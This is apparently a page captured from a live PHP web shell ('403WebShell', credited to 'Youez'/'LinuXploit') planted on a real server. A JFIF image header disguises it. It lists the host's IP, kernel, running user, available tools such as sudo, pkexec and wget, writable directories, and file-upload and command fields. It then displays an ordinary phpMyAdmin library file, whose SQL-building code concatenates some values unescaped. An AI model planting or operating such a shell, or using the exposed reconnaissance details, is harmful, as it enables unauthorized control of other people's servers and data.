????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.217.200.151
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpmyadmin/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpmyadmin/libraries//tbl_views.lib.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Set of functions related to applying transformations for VIEWs
 *
 * @package PhpMyAdmin
 */
if (! defined('PHPMYADMIN')) {
    exit;
}


/**
 * Get the column details of VIEW with its original references
 *
 * @param string $sql_query    SQL for original resource
 * @param array  $view_columns Columns of VIEW if defined new column names
 *
 * @return array $column_map Details of VIEW columns
 */
function PMA_getColumnMap($sql_query, $view_columns)
{

    $column_map = array();
    // Select query which give results for VIEW
    $real_source_result = PMA_DBI_try_query($sql_query);

    if ($real_source_result !== false) {

        $real_source_fields_meta = PMA_DBI_get_fields_meta($real_source_result);

        if (count($real_source_fields_meta) > 0) {

            for ($i=0; $i<count($real_source_fields_meta); $i++) {

                $map = array();
                $map['table_name'] = $real_source_fields_meta[$i]->table;
                $map['refering_column'] = $real_source_fields_meta[$i]->name;

                if (count($view_columns) > 1) {
                    $map['real_column'] = $view_columns[$i];
                }

                $column_map[] = $map;

            }

        }

    }
    unset($real_source_result);

    return $column_map;

}


/**
 * Get existing data on tranformations applyed for
 * columns in a particular table
 *
 * @param string $db Database name looking for
 *
 * @return mysqli_result Result of executed SQL query
 */
function PMA_getExistingTranformationData($db)
{
    $cfgRelation = PMA_getRelationsParam();

    // Get the existing transformation details of the same database
    // from pma__column_info table
    $pma_transformation_sql = 'SELECT * FROM '
        . PMA_Util::backquote($cfgRelation['db']) . '.'
        . PMA_Util::backquote($cfgRelation['column_info'])
        . ' WHERE `db_name` = \''
        . PMA_Util::sqlAddSlashes($db) . '\'';

    return PMA_DBI_try_query($pma_transformation_sql);

}


/**
 * Get SQL query for store new transformation details of a VIEW
 *
 * @param mysqli_result $pma_tranformation_data Result set of SQL execution
 * @param array         $column_map             Details of VIEW columns
 * @param string        $view_name              Name of the VIEW
 * @param string        $db                     Database name of the VIEW
 *
 * @return string $new_transformations_sql SQL query for new tranformations
 */
function PMA_getNewTransformationDataSql(
    $pma_tranformation_data, $column_map, $view_name, $db
) {
    $cfgRelation = PMA_getRelationsParam();

    // Need to store new transformation details for VIEW
    $new_transformations_sql = 'INSERT INTO '
        . PMA_Util::backquote($cfgRelation['db']) . '.'
        . PMA_Util::backquote($cfgRelation['column_info'])
        . ' (`db_name`, `table_name`, `column_name`, `comment`, '
        . '`mimetype`, `transformation`, `transformation_options`)'
        . ' VALUES ';

    $column_count = 0;
    $add_comma = false;

    while ($data_row = PMA_DBI_fetch_assoc($pma_tranformation_data)) {

        foreach ($column_map as $column) {

            if ($data_row['table_name'] == $column['table_name']
                && $data_row['column_name'] == $column['refering_column']
            ) {

                $new_transformations_sql .= $add_comma ? ', ' : '';

                $new_transformations_sql .= '('
                    . '\'' . $db . '\', '
                    . '\'' . $view_name . '\', '
                    . '\'';

                $new_transformations_sql .= (isset($column['real_column']))
                        ? $column['real_column']
                        : $column['refering_column'];

                $new_transformations_sql .= '\', '
                    . '\'' . $data_row['comment'] . '\', '
                    . '\'' . $data_row['mimetype'] . '\', '
                    . '\'' . $data_row['transformation'] . '\', '
                    . '\''
                    . PMA_Util::sqlAddSlashes(
                        $data_row['transformation_options']
                    )
                    . '\')';

                $add_comma = true;
                $column_count++;
                break;

            }

        }

        if ($column_count == count($column_map)) {
            break;
        }

    }

    return ($column_count > 0) ? $new_transformations_sql : '';

}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit